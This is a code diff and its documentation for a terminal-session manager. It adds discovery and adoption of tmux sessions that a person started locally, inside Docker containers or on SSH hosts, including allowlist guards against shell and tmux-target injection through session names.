+**Adopted sessions** (#510; `src/foreign-tmux.ts` pure, `src/foreign-tmux-discovery.ts` transport, `foreign-sessions.js`, `GET /api/mux/foreign`, `POST /api/sessions/adopt`): a tmux session a human started is listed on the home screen, and one click wraps it in a tab. Like remote-SSH and Docker it is a **LOCATION OVERLAY**, never a `SessionMode`: `Session.adopt` carries the connection, the mode comes from a bounded walk of the pane's process tree, and `Session.isAdopted` asks who launched the process, a different question from `isExternalCliMode()`, which is why the two are never folded together.
+
+**The wrapper.** Adoption creates an ordinary `codeman-<8hex>` session on Codeman's own socket whose pane runs the attach, so `killSession` can only ever reach the wrapper and no shape of caller bug reaches the foreign server. The attach joins as a grouped `codeman-view-<id>` session with `status off` and `destroy-unattached on`. ⚠️ `new-session -t` does not fail on a missing target, it invents one (measured on tmux 3.4: joined `work-prod`, or made a fresh shell, or started a server on an empty socket), so an exact `has-session -t '=<name>'` guards it. The `=` cannot stand in for that guard on `new-session -t`, where a missing target makes a group literally called `=<name>`. ⚠️ The guard only holds for a name both commands read as a name, so a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`: a leading `=`, `@` or `%`, or a bare `~`) is refused at discovery: measured on tmux 3.4, `@1` joined the session holding window `@1` and input typed in the tab reached it, and `=eq` made a new group with a fresh shell. A `command -v tmux` runs first, because the guard fires on any failure and "tmux is not on this PATH" must not read as "your session is gone". The client is `tmux -u`, or a POSIX-locale container garbles the tab, and the probe's `list-panes` is too, or a name reads as underscores the guard then cannot find. A `docker exec` outlives its client, so that view is killed explicitly on close. ⚠️ Nothing is ever set on the foreign server beyond our own view: not `window-size` (a window option on a shared window, it survives our detach) and not the prefix table (server-wide, unlike `nestedPrefixTableResetCommands` on the servers Codeman runs itself). ⚠️ While the view exists an owner's `kill-session` leaves the window alive under it until the tab closes. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start: `startShell()`'s new-session `clear\n` submitted whatever the owner had half-typed (measured) until it was gated on `!this._adopt`, and the trust-dialog auto-accept stays off for the same reason. `shell` is also the classifier's answer for anything it cannot name, such as vim or psql.
+
+**Names are the injection surface.** A session name is chosen by someone else and several shells parse the attach line on its way to tmux; in `bash -c "<JSON>"`, the form it first crossed, `$` and backticks were live. Names and socket paths pass an allowlist at DISCOVERY, so a bad one gets no id and the adopt route, which re-resolves through discovery, can only 404. The ssh probe and attach run in an explicit `sh` behind `withRemoteTmuxPath()`, since the guard chain is POSIX and the login shell may be fish. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, the path a remote or docker launch takes (#760), never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on THIS host and a tmux in the remote `~/.local/bin` is found by discovery and missed by the attach. Single quotes also keep a real newline, which JSON escaping left as the two characters `\n`. That closes the first shell only, so the discovery allowlist stays. `test/tmux-manager.test.ts` compares what bash receives with the built line at create and at respawn, for all three locations. Docker discovery spawns `dockerEngineArgv()`, never the shell-quoted `buildDockerBaseArgs()`.
+
+**A server that stops answering.** A tmux client never returns from a stopped server, and it hands dups of its stdout to the server, so that server holds our pipe open after the client is dead (measured: SIGTERM ended the client and no EOF came). ⚠️ So a watchdog around `list-panes` cannot work, and the same hold would keep `docker exec` and `ssh` waiting. `buildForeignProbeScript()` pings each socket with `has-session` at `/dev/null` under `FOREIGN_SOCKET_TIMEOUT_SECONDS`, in the script because no signal of ours reaches a client inside a container or across ssh, and only a server that answered gets the real stdout. One that did not prints `CMFH` and costs its own rows and a note. The watchdog reports through its own exit status, since a client ended by SIGTERM exits 0. `runForeignProbe()` runs all three transports in their own process group, signals the group at the deadline, destroys its end of the pipe by hand (or one handle leaks per scan) and keeps the rows it read. ⚠️ Sockets have no count cap: in glob order `codeman*` sorts before `default`, and a box with many instances would never reach the sessions this feature is for (212 sockets measured here). The sweep is bounded by time.
+
+**One wrapper per target.** `foreignTargetKey()` is the ONE key, read by the adopt route and `adoptedBy`, built from the location, the host identity, the socket and the name: a socket and a name alone collide across containers and hosts. Both read live `Session`s, since the mux record only exists after the first attach.
+
+**No workspace.** ⚠️ An adopted session keeps its connection on `adopt.remote`/`adopt.docker`, so `session.remote` and `session.docker` are undefined, and its `workingDir` is the neutral `/tmp`. Code that branches on those two reads an in-container or over-ssh adoption as a local session working in `/tmp`. So anything that treats `workingDir` as the session's workspace must also test `session.isAdopted` (`adopt` on a pure view): uploads, the upload GC, git status, git fetch and its scheduler, the image watcher, Read My Mind's git signals, the Discord folder, `last-response`, guarded input and Ralph's `@fix_plan.md` and `@ralph_prompt.md` routes all do. The file surfaces (Files panel, File Viewer and its edit mode) still treat `/tmp` as the workspace, which is harmless: it is world-writable anyway, and adoption is admin-only in multi-user mode. A wrapper reports `statusLineExporter: 'remote'`, which is also what keeps keep-warm off it.
+
+**Lifecycle.** `paneExitApplies` is false for a wrapper, so an attach that ended is never `paneExit` and the sweep never closes the tab. Boot recovery re-attaches a dead wrapper, which prints that the session is gone and exits. Reboot restore refuses one, since all Codeman ever had was an attach command.
+
 ### Docker cases
 
 **Docker cases** (shipped 1.4.0; user guide `docs/docker-cases.md`, design `docs/docker-cases-plan.md`): a case can point at a **container** instead of a local/remote path, and any of the CLI run modes runs INSIDE it. Like remote-SSH, it is a **LOCATION OVERLAY on cases, never a `SessionMode` of its own** (`SessionMode` is unchanged). Storage `~/.codeman/docker-hosts.json` + `docker-cases.json` via `src/docker-hosts.ts` (direct mirror of `remote-hosts.ts`: `readDockerHosts`/`readDockerCases`, `toSessionDocker`, `dockerDisplayPath`, and the PURE builders `buildDockerBaseArgs`/`buildDockerCreateArgs`/`containerApiUrl`/`hostGatewayAlias`/`dockerConfigHash`). CRUD `/api/docker-hosts` + `/api/cases/docker-link`, plus **one-click** `/api/cases/docker-quickcreate` (Create New "Run in Docker" checkbox → case folder in `CASES_DIR` + auto-provisioned shared `default` host + auto-start a session inside; an expandable Template picker Small/Medium/Large/GPU or any override creates a per-case `q-<name>` host), and export/import (`/api/docker-cases/:name/export`, `/api/docker-cases/import`, `GET/DELETE /api/docker-exports`) — all in `case-routes.ts`. Run flows route through `POST /api/quick-start` like remote (session-routes.ts docker branch, skips LOCAL CLI-availability gates). **Launch model**: exactly one long-lived container **per case** (`codeman-case-<slug>`, PID1 `sleep infinity` under `--init`); a LOCAL tmux pane runs `docker exec -it` into a **durable in-container tmux** on dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>` (deliberately fails `SAFE_MUX_NAME_PATTERN` so a Codeman running INSIDE the container never adopts it, exactly like remote's `codeman-ssh-<id8>`). Builders `buildDockerLaunchCommand`/`buildDockerKillCommand` in `tmux-manager.ts` (image-check → `docker inspect||create` → start → exec, all idempotent). The container is **shared by all sessions of the case**: `buildDockerKillCommand` kills ONLY that session's in-container tmux session, NEVER `docker stop` while siblings remain; `docker rm -f` happens only on case-delete (plus an instance-scoped boot reaper keyed on the `codeman.instance` label). **Two-layer durability/resume** (the central design point): (1) Codeman-PROCESS restart with the container still up → `tmux new-session -A` reattaches the SAME live agent (paneCommand ignored); (2) container stop/reboot/OOM → inner tmux is gone, so the re-run pane command resumes the conversation from the bind-mounted transcript: claude mode pins a DETERMINISTIC conversation id via `claudeDockerPaneCommand()` (`tmux-manager.ts`) — fresh launch `claude --session-id <sessionId> || claude --resume <sessionId>` (a duplicate `--session-id` exits 1 "already in use", so the fallback RESUMES after a container stop; verified CLI behavior), explicit resume `--resume <rid> || --session-id <sid>` so a stale id never dead-panes (leading `exec ` is stripped — an exec'd first branch could never fall back); codex `resume <id>` / gemini `--resume` keep `appendResumeFlag`. The resume id rides `resumeSessionId` through create/respawn options and persists on `DockerCase.lastClaudeSessionId` via `persistDockerCaseClaudeSessionId()` (written at quick-start launch, and again on hook/last-response conversation-id adoption so post-`/clear` switches track; seeded back when `resumeOnStart`, default true); `-A` makes the pane command self-selecting (inert on reattach, active only when tmux was re-created). **Config drift** (`dockerConfigHash` → `codeman.confighash` label): quick-start compares via `checkDockerConfigDrift()` and REFUSES a drifted launch with `CONFLICT`; the UI confirm calls `POST /api/docker-cases/:name/recreate` (refused while case sessions are live) which `docker rm -f`s so the next launch recreates with the new config — host config edits actually take effect. **Workspace** is a REAL host dir bind-mounted at the SAME absolute path (mirror, `dst==src`), so `Session.workingDir = hostWorkspacePath` keeps file-routes/attachments/watchers on real host bytes AND the in-container transcript projHash matches the host so subagent/workflow correlation (and thus resume-id capture) works; `resolveMuxAttachCwd` returns `/tmp` for docker (the local pane only runs `docker exec`). **Creds** arrive commit-safe and ISOLATED (1.4.1; replaced the whole-dir RW mounts that let in-container CLIs write refreshed tokens/state back to the host): shared RW across the boundary is ONLY what host-side reads/resume need (`~/.claude/projects` transcripts; codex `sessions/` + `history.jsonl` for response-viewer/`codex resume`); everything else is SEEDED (RO mount, copied into container HOME once at launch via `[ -e ] || cp`; the container refreshes its own copy and never writes back): `~/.claude.json` is merged through `buildSeamlessClaudeConfig()` (forces `hasCompletedOnboarding` + theme + workspace trust, so no login wizard/theme picker/trust prompt inside the container), plus `.claude/{.credentials.json,setLine truncated

docs/docker-cases.md

@@ -121,6 +121,13 @@ curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"cl
 
 ## Attach to a container you already run
 
+⚠️ Two different things are called "adopted". This section is about a CONTAINER
+(`DockerCase.owned === false`). A tmux SESSION a human started inside a container is
+listed by `GET /api/mux/foreign?docker=1` and wrapped by `POST /api/sessions/adopt`, for
+which the container needs a Docker case but no adoption of its own. That one is
+`Session.isAdopted`, with the connection on `Session.adopt.docker` and `session.docker`
+undefined. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
+
 The tab's **Attach to an existing container** toggle points a case at a container **you**
 built and run. Codeman only ever `docker exec`s into it: it never creates, starts, stops,
 restarts or removes it, and it seeds no credentials into it, so the CLIs inside must already

docs/remote-sessions.md

@@ -136,9 +136,9 @@ Key points:
   **login shell**, not the agent.
 - The **whole tmux invocation is a single shell-quoted ssh argument**, and the
   pane command is independently quoted, so a `remotePath` with spaces is safe.
-- **That argument reaches the far end verbatim** (#760): the launch goes to the
-  local `bash -c` in single quotes, so `$HOME`, `$PATH` and `$SHELL` are the
-  remote user's. In double quotes the local `sh` expanded them first, which sent
+- **That argument reaches the far end verbatim** (#760): the launch, an adopted
+  session's ssh attach included, goes to the local `bash -c` in single quotes, so
+  `$HOME`, `$PATH` and `$SHELL` are the remote user's. In double quotes the local `sh` expanded them first, which sent
   this host's home and PATH to the remote. ⚠️ Every `$` in a `commands.*` override
   now expands on the far end too, and a bare `$VAR` in an `extraSshOptions` value
   reaches `ssh` as those literal characters at launch, as it always did in the link
@@ -206,6 +206,12 @@ when the tab closes.
   session. `remoteSessionName` holds its existing tmux name. Closing the tab
   **detaches**, never kills.
 
+⚠️ This covers `codeman-*` sessions on the `codeman-remote` socket, the ones another
+Codeman runs. A tmux session a HUMAN started on the host is a separate path:
+`GET /api/mux/foreign?remote=1` finds it and `POST /api/sessions/adopt` wraps it, with
+the connection on `Session.adopt.remote` and `session.remote` undefined. Closing that tab
+detaches too. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
+
 ### Discovery
 
 `listRemoteCodemanSessions(host)` lists the remote's `codeman-*` sessions:

docs/wiki/Docker-Cases.md

@@ -98,6 +98,10 @@ Adoption is **admin-only in multi-user mode**. Linking creates Codeman's own con
 with one bind mount that has already been checked; an adopted container's mounts belong to
 whoever started it, and one that mounts `/` hands the adopter the host.
 
+That is about a container. A tmux session someone started by hand inside a container is opened
+from the home screen instead, and it needs a Docker case pointing at that container: see
+[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
+
 ## Credentials
 
 Your existing host logins work inside the container without logging in again. Credentials

docs/wiki/Remote-SSH-Sessions.md

@@ -80,6 +80,10 @@ Attaching to someone else's session and closing your tab must not end their run,
 not. Several clients can attach the same remote session at different window sizes without
 clamping each other, and discovery shows a shared badge with the client count.
 
+This list holds Codeman's own sessions. A tmux session someone started by hand on the host is
+found by the home screen instead: see
+[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
+
 ## Files
 
 Previews, downloads and text reads in a remote case go over the same ssh connection the

docs/wiki/The-Dashboard.md

@@ -287,6 +287,38 @@ Two extras depending on the device:
 - **Phones**: tapping the "C" logo gives a session overview instead: NEEDS YOU first, then
   current sessions, then past ones. On by default.
 
+### Opened outside Codeman
+
+A tmux session you started by hand (`tmux new -s work`, then `claude`, or just a shell) shows
+up on the home screen under **Opened outside Codeman**, on the desktop and in the phone
+overview. **Open** wraps it in a tab, and **Go to tab** on a row means it already has one.
+
+| Where it runs        | How it is found                                                              |
+| -------------------- | ---------------------------------------------------------------------------- |
+| **This machine**     | Automatically, every few seconds while the home screen is up.               |
+| **A container**      | The `⟳` button in the block's header scans the containers behind your Docker cases. |
+| **Over SSH**         | The same button scans your saved remote hosts.                               |
+
+The container and SSH scan costs one connection per target, so it runs when you press the
+button, and **Rescan** runs it again.
+
+- **Closing the tab only detaches.** The session keeps running, and the close dialog offers no
+  kill. Opening one types nothing into it.
+- **Codeman did not start it,** so it will not drive it: respawn, Ralph, auto-clear,
+  auto-compact, auto-resume, custom model endpoints, prompt uploads and the image watcher are
+  refused, and the git panel shows nothing.
+- **The tab opens on the session's first window,** and the row describes that same window.
+- **It joins like a second tmux client.** While the tab is open it can resize a session
+  someone else is viewing, the way any second client does, and that reverses when it closes.
+- **A short line in the block says why a session is missing.** One whose name holds unusual
+  characters is skipped, and so is one named so that tmux reads the name as something else (it
+  starts with `=`, `@` or `%`, or is a bare `~`). Rename it with `tmux rename-session`. A tmux
+  server that stopped answering costs only its own sessions.
+
+Only sockets in tmux's own folder are scanned, so `tmux -L <name>` is found and
+`tmux -S /custom/path` is not. In multi-user mode the block is for admins, since it shows
+everyone's processes.
+
 ## Panels
 
 | Panel            | Opened from                       | Covered in                                                       |

src/config/foreign-tmux.ts

@@ -0,0 +1,48 @@
+/**
+ * @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
+ * outside Codeman).
+ *
+ * Two facts drive every number here. First, the number of tmux sockets and panes
+ * on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
+ * is an unbounded loop over data someone else produces. Parsed rows are capped by
+ * count and the socket sweep by time: a sweep capped by count would stop in glob
+ * order, where `codeman*` sorts before `default` and a machine running many
+ * instances would never reach the sessions this feature is for. Second, an ssh
+ * handshake is an order of magnitude slower than
+ * a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
+ * remote host as unreachable, so the probe gets its own timeout.
+ *
+ * @module config/foreign-tmux
+ */
+
+/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
+export const FOREIGN_POLL_INTERVAL_MS = 8000;
+
+/**
+ * Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
+ * bounds the real cost: N open tabs polling at 8s still trigger at most one scan
+ * per TTL.
+ */
+export const FOREIGN_CACHE_TTL_MS = 5000;
+
+/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
+export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
+
+/**
+ * How long one tmux server may take to answer the probe's ping, in the script's own
+ * `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
+ * costs only its own rows, and the sweep moves on to the next socket.
+ */
+export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
+
+/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
+export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
+
+/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
+export const FOREIGN_MAX_PANES = 400;
+
+/** Max process rows parsed from one probe's `ps` snapshot. */
+export const FOREIGN_MAX_PROCS = 4000;
+
+/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
+export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;

src/docker-hosts.ts

@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
  * string; argv arrays must NOT carry literal quotes (mirror of docker-export's
  * dockerArgv).
  */
-function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
+export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
   const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
   if (docker.context) argv.push('--context', docker.context);
   if (docker.daemonHost) argv.push('-H', docker.daemonHost);

src/foreign-tmux-discovery.ts

@@ -0,0 +1,453 @@
+/**
+ * @fileoverview Runs the foreign-tmux probe at the three locations Codeman
+ * already knows how to reach: this host, inside a container, and across ssh.
+ *
+ * All the judgement lives in `foreign-tmux.ts` (pure). This module is only
+ * transport + caching + the promise that it never throws.
+ *
+ * ## Cost policy
+ *
+ * The home screen shows LOCAL results automatically, so a local scan runs on a
+ * TTL cache: N browser tabs polling every few seconds still trigger at most one
+ * scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only —
+ * opening the home page must never fan out one ssh connection per saved host.
+ *
+ * ## ⚠️ The probe must not cross an extra shell
+ *
+ * The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
+ * expand. Local and docker therefore spawn with an argv array, where no outer
+ * shell exists to eat them first. Remote is the exception: the ssh
+ * command line is a string like every other ssh call in this codebase, so the
+ * script is wrapped in SINGLE quotes there — which is exactly why
+ * `buildForeignProbeScript()` may not contain one.
+ *
+ * This was measured, not reasoned: running the probe through `execSync` (which
+ * spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
+ * inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
+ * a machine that had three.
+ *
+ * ## A probe that goes wrong still answers
+ *
+ * All three transports go through `runForeignProbe`, which never rejects and hands
+ * back what it read. A timeout has to reach the whole process tree, not just the
+ * `sh` on top (the same rule as `runFetch` in git-fetch.ts): signalling only `sh`
+ * left its tmux child stuck on a stopped server, one more per scan, for as long as
+ * the home screen stayed open. And a scan cut short keeps the rows it already has,
+ * since one bad server must not empty the list of a machine with good ones.
+ *
+ * @module foreign-tmux-discovery
+ */
+
+import { spawn, type ChildProcess } from 'node:child_process';
+import {
+  buildForeignProbeScript,
+  classifyForeignPaneMode,
+  foreignRemoteShellCommand,
+  foreignSessionId,
+  isAdoptableSessionName,
+  isAdoptableSocketPath,
+  isCodemanOwnedPane,
+  parseForeignProbeOutput,
+} from './foreign-tmux.js';
+import { dockerEngineArgv, readDockerCases, readDockerHosts } from './docker-hosts.js';
+import { buildSshConnectionArgs, readRemoteHosts, remoteSshTarget, shellescape } from './remote-hosts.js';
+import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
+import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
+import {
+  FOREIGN_CACHE_TTL_MS,
+  FOREIGN_PROBE_KILL_GRACE_MS,
+  FOREIGN_PROBE_MAX_BYTES,
+  FOREIGN_PROBE_TIMEOUT_MS,
+} from './config/foreign-tmux.js';
+import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
+import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
+
+const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
+
+/** What one probe produced, however it ended. */
+export interface ForeignProbeRun {
+  /** Everything read before it finished or was stopped. */
+  stdout: string;
+  /** False when it timed out, flooded, exited non-zero or could not start. */
+  ok: boolean;
+}
+
+/**
+ * Run one probe in its own process group. Never rejects (see @fileoverview).
+ *
+ * The caller is answered AT the deadline, while the group is still dying.
+ */
+export function runForeignProbe(
+  argv: readonly string[],
+  opts: { timeoutMs?: number; maxBytes?: number } = {}
+): Promise<ForeignProbeRun> {
+  const { timeoutMs = FOREIGN_PROBE_TIMEOUT_MS, maxBytes = FOREIGN_PROBE_MAX_BYTES } = opts;
+  return new Promise((resolve) => {
+    const [file, ...args] = argv;
+    const chunks: Buffer[] = [];
+    let bytes = 0;
+    let settled = false;
+    let child: ChildProcess | undefined;
+    let escalation: NodeJS.Timeout | undefined;
+
+    const finish = (ok: boolean) => {
+      if (settled) return;
+      settled = true;
+      clearTimeout(deadline);
+      resolve({ stdout: Buffer.concat(chunks).toString('utf-8'), ok });
+    };
+    const signalGroup = (signal: NodeJS.Signals) => {
+      try {
+        if (child?.pid) process.kill(-child.pid, signal);
+      } catch {
+        /* already gone */
+      }
+    };
+    const stop = () => {
+      signalGroup('SIGTERM');
+      escalation = setTimeout(() => signalGroup('SIGKILL'), FOREIGN_PROBE_KILL_GRACE_MS);
+      escalation.unref();
+      // ⚠️ Let go of the pipe by hand. A stopped tmux server can hold it open with
+      // everything in this group dead (see foreign-tmux.ts), so waiting for its EOF
+      // would keep one handle per scan until that server is resumed.
+      child?.stdout?.destroy();
+      finish(false);
+    };
+    const deadline = setTimeout(stop, timeoutMs);
+
+    try {
+      child = spawn(file ?? '', args, { stdio: ['ignore', 'pipe', 'ignore'], detached: true });
+    } catch {
+      finish(false);
+      return;
+    }
+    child.stdout?.on('data', (chunk: Buffer) => {
+      if (settled) return;
+      chunks.push(chunk.subarray(0, Math.max(0, maxBytes - bytes)));
+      bytes += chunk.length;
+      if (bytes > maxBytes) stop();
+    });
+    child.on('error', () => finish(false));
+    child.on('close', (code) => {
+      // The group is gone, so a late SIGKILL could only reach whoever reused its id.
+      clearTimeout(escalation);
+      finish(code === 0);
+    });
+  });
+}
+
+/** The note for a probe that ended badly. Rows already read stay, so say which case this is. */
+function probeFailureNote(where: string, run: ForeignProbeRun, nothing: string): string {
+  return run.stdout ? `${where}: the scan did not finish, this list may be incomplete` : `${where}: ${nothing}`;
+}
+
+/**
+ * Turn one probe's stdout into candidates. Shared by all three transports, so a
+ * container's sessions and the host's are classified by identical rules.
+ *
+ * `where` opens every note this scan writes (`local`, `docker <name>`, `remote
+ * <label>`). The browser tells the two kinds apart by it: a local note is re-read on
+ * every poll, a container or host note only by the next explicit scan.
+ */
+export function candidatesFrom(
+  stdout: string,
+  location: ForeignTmuxSession['location'],
+  hostKey: string,
+  extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
+  where: string,
+  notes: string[]
+): ForeignTmuxSession[] {
+  const probe = parseForeignProbeOutput(stdout);
+  const ownSocket = resolveTmuxSocketName();
+  const out: ForeignTmuxSession[] = [];
+  const seen = new Set<string>();
+  let unsafe = 0;
+
+  for (const pane of probe.panes) {
+    if (isCodemanOwnedPane(pane, ownSocket)) continue;
+    // ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
+    // on purpose: a name that cannot cross the launch chain safely never gets an
+    // id, so there is nothing for a caller to send. Adoption re-resolves through
+    // this same function, which makes the endpoint fail closed for free.
+    // See `isAdoptableSessionName` for the injection this prevents.
+    if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
+      unsafe += 1;
+      continue;
+    }
+    // One row per SESSION, not per pane: the first pane is the one we would land
+    // on, and a multi-pane session is still a single thing to adopt.
+    // \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
+    // treat this whole file as binary (no diff, no review), and the allowlists above
+    // already guarantee neither half can contain one.
+    const key = `${pane.socketPath}\u0000${pane.sessionName}`;
+    if (seen.has(key)) continue;
+    seen.add(key);
+
+    const classified = classifyForeignPaneMode(pane, probe);
+    out.push({
+      id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
+      location,
+      ...extra,
+      socketPath: pane.socketPath,
+      sessionName: pane.sessionName,
+      windows: pane.windows,
+      attached: pane.sessionAttached,
+      createdAt: pane.sessionCreated * 1000,
+      mode: classified.mode,
+      command: classified.command,
+      workingDir: pane.paneCurrentPath,
+    });
+  }
+  if (unsafe) {
+    notes.push(
+      `${where}: ${unsafe} session(s) skipped, the tmux session name or socket path is one Codeman cannot pass safely to a shell or to tmux`
+    );
+  }
+  // Another Codeman's server is not a session this list would ever have shown.
+  const hung = probe.hungSockets.filter(
+    (socketPath) => !isCodemanOwnedPane({ socketPath, sessionName: '' }, ownSocket)
+  );
+  if (hung.length) {
+    notes.push(`${where}: ${hung.length} tmux server(s) did not answer, sessions on them are not listed`);
+  }
+  return out;
+}
+
+// ===========================================================================
+// Local
+// ===========================================================================
+
+let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
+let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
+
+/**
+ * Scan this host. TTL-cached and single-flight, because this is the one location
+ * the home screen polls on its own.
+ */
+export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
+  if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
+
+  const now = Date.now();
+  if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
+  if (localInFlight) return localInFlight;
+
+  localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
+    const notes: string[] = [];
+    let sessions: ForeignTmuxSession[] = [];
+    try {
+      // argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
+      // reach the inner sh intact (see @fileoverview).
+      const run = await runForeignProbe(['sh', '-c', buildForeignProbeScript()]);
+      sessions = candidatesFrom(run.stdout, 'local', 'local', {}, 'local', notes);
+      if (!run.ok) notes.push(probeFailureNote('local', run, 'tmux probe produced no result'));
+    } catch {
+      // The probe answers rather than throws, so this is the classifier. "Nothing to
+      // adopt here" is the only honest answer and it is never an error to the caller.
+      notes.push('local: tmux probe produced no result');
+    }
+    const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
+    localCache = { at: Date.now(), result };
+    return result;
+  })().finally(() => {
+    localInFlight = null;
+  });
+
+  return localInFlight;
+}
+
+/** Drop the local cache so the next scan is real (used right after an adopt). */
+export function invalidateForeignCache(): void {
+  localCache = null;
+}
+
+// ===========================================================================
+// Docker
+// ===========================================================================
+
+/** Connection facts for one adoptable container, resolved from the registries. */
+export interface DockerTargetInfo {
+  hostId: string;
+  label: string;
+  containerName: string;
+  base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
+}
+
+function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
+  const byId = new Map(hosts.map((h) => [h.id, h]));
+  const out: DockerTargetInfo[] = [];
+  const seen = new Set<string>();
+  for (const c of cases) {
+    const container = c.container || `codeman-case-${c.name}`;
+    // Per engine, not global: two daemons can each run a container of one name,
+    // and collapsing them here would leave the second one unscanned.
+    const key = `${c.hostId}\u0000${container}`;
+    if (seen.has(key)) continue;
+    seen.add(key);
+    const host = byId.get(c.hostId);
+    out.push({
+      hostId: c.hostId,
+      label: host?.label || c.name,
+      containerName: container,
+      base: {
+        engine: host?.engine ?? 'docker',
+        context: host?.context,
+        daemonHost: host?.daemonHost,
+      },
+    });
+  }
+  return out;
+}
+
+/**
+ * The argv of one in-container probe.
+ *
+ * ⚠️ `dockerEngineArgv`, never `buildDockerBaseArgs`, whose `--context` and `-H`
+ * values are shell-quoted for the launch string. `execFile` passes those quotes
+ * through literally, so `docker --context "'default'"` answered "context not found"
+ * and every container behind a named context or a remote daemon read as unreachable.
+ */
+export function foreignDockerProbeArgv(target: DockerTargetInfo): string[] {
+  return [...dockerEngineArgv(target.base), 'exec', target.containerName, 'sh', '-lc', buildForeignProbeScript()];
+}
+
+/**
+ * Scan the containers behind the caller's docker cases. On demand only.
+ *
+ * Read-only by construction: one `docker exec` running the probe. Never inspects
+ * lifecycle, never starts anything — a stopped or missing container simply
+ * contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
+ * degrades to an empty list" rule.
+ */
+export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
+  if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
+
+  const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
+  const targets = dockerTargets(cases, hosts);
+  const notes: string[] = [];
+  const sessions: ForeignTmuxSession[] = [];
+
+  await Promise.all(
+    targets.map(async (t) => {
+      const where = `docker ${t.containerName}`;
+      try {
+        const run = await runForeignProbe(foreignDockerProbeArgv(t));
+        sessions.push(
+          ...candidatesFrom(
+            run.stdout,
+            'docker',
+            `${t.hostId} ${t.containerName}`,
+            { hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
+            where,
+            notes
+          )
+        );
+        if (!run.ok) notes.push(probeFailureNote(where, run, 'not running, no tmux, or engine unreachable'));
+      } catch {
+        notes.push(`${where}: not running, no tmux, or engine unreachable`);
+      }
+    })
+  );
+
+  return { sessions, scannedAt: Date.now(), notes };
+}
+
+// ===========================================================================
+// Remote
+// ===========================================================================
+
+/**
+ * The ssh command line of one remote probe.
+ *
+ * `exec` so a timeout kill reaches ssh itself, not only the local `sh -c` around it.
+ */
+export function foreignRemoteProbeCommand(host: RemoteHost): string {
+  return [
+    'exec',
+    ...buildSshConnectionArgs(host),
+    remoteSshTarget(host),
+    shellescape(foreignRemoteShellCommand(buildForeignProbeScript())),
+  ].join(' ');
+}
+
+/**
+ * Scan saved ssh hosts. On demand only — this is the expensive one.
+ *
+ * ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
+ * probe crosses one extra shell and must be single-quoted. `shellescape` does
+ * that, and `buildForeignProbeScript()` is single-quote-free precisely so the
+ * escaping stays a wrap rather than a rewrite.
+ *
+ * Each host holds a slot of the shared remote-ssh limiter: one saved host per
+ * connection, all at once, is the burst OpenSSH's `MaxStartups` starts dropping.
+ * A host that waits too long for a slot reads as unreachable this round.
+ */
+export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
+  if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
+
+  const notes: string[] = [];
+  const sessions: ForeignTmuxSession[] = [];
+
